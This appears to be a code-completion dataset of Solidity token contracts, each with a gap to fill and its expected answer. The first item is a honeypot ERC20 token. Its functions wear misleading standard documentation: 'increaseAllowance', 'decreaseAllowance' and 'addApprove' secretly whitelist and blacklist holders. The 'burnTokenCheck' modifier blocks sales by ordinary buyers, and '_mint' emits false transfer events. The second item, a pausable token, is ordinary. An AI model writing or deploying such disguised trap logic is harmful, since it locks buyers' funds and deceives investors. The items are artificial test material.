uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount);
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual
/** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual
40755
PausableToken
transferFrom
contract PausableToken is ERC827Token, Ownable { bool public transfersEnabled; modifier ifTransferAllowed { require(transfersEnabled || msg.sender == owner); _; } /** * @dev Constructor that gives msg.sender all of existing tokens. */ function PausableToken(bool _transfersEnabled) public { transfersEnabled = _transfersEnabled; } function setTransfersEnabled(bool _transfersEnabled) public onlyOwner { transfersEnabled = _transfersEnabled; } // ERC20 versions function transferFrom(address _from, address _to, uint256 _value) public ifTransferAllowed returns (bool) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public ifTransferAllowed returns (bool) { return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public ifTransferAllowed returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public ifTransferAllowed returns (bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public ifTransferAllowed returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } // ERC827 versions function approve(address _spender, uint256 _value, bytes _data) public ifTransferAllowed returns (bool) { return super.approve(_spender, _value, _data); } function transfer(address _to, uint256 _value, bytes _data) public ifTransferAllowed returns (bool) { return super.transfer(_to, _value, _data); } function transferFrom( address _from, address _to, uint256 _value, bytes _data) public ifTransferAllowed returns (bool) {<FILL_FUNCTION_BODY> } function increaseApproval(address _spender, uint _addedValue, bytes _data) public ifTransferAllowed returns (bool) { return super.increaseApproval(_spender, _addedValue, _data); } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public ifTransferAllowed returns (bool) { return super.decreaseApproval(_spender, _subtractedValue, _data); } }
contract PausableToken is ERC827Token, Ownable { bool public transfersEnabled; modifier ifTransferAllowed { require(transfersEnabled || msg.sender == owner); _; } /** * @dev Constructor that gives msg.sender all of existing tokens. */ function PausableToken(bool _transfersEnabled) public { transfersEnabled = _transfersEnabled; } function setTransfersEnabled(bool _transfersEnabled) public onlyOwner { transfersEnabled = _transfersEnabled; } // ERC20 versions function transferFrom(address _from, address _to, uint256 _value) public ifTransferAllowed returns (bool) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public ifTransferAllowed returns (bool) { return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public ifTransferAllowed returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public ifTransferAllowed returns (bool) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public ifTransferAllowed returns (bool) { return super.decreaseApproval(_spender, _subtractedValue); } // ERC827 versions function approve(address _spender, uint256 _value, bytes _data) public ifTransferAllowed returns (bool) { return super.approve(_spender, _value, _data); } function transfer(address _to, uint256 _value, bytes _data) public ifTransferAllowed returns (bool) { return super.transfer(_to, _value, _data); } <FILL_FUNCTION> function increaseApproval(address _spender, uint _addedValue, bytes _data) public ifTransferAllowed returns (bool) { return super.increaseApproval(_spender, _addedValue, _data); } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public ifTransferAllowed returns (bool) { return super.decreaseApproval(_spender, _subtractedValue, _data); } }
return super.transferFrom(_from, _to, _value, _data);
function transferFrom( address _from, address _to, uint256 _value, bytes _data) public ifTransferAllowed returns (bool)
function transferFrom( address _from, address _to, uint256 _value, bytes _data) public ifTransferAllowed returns (bool)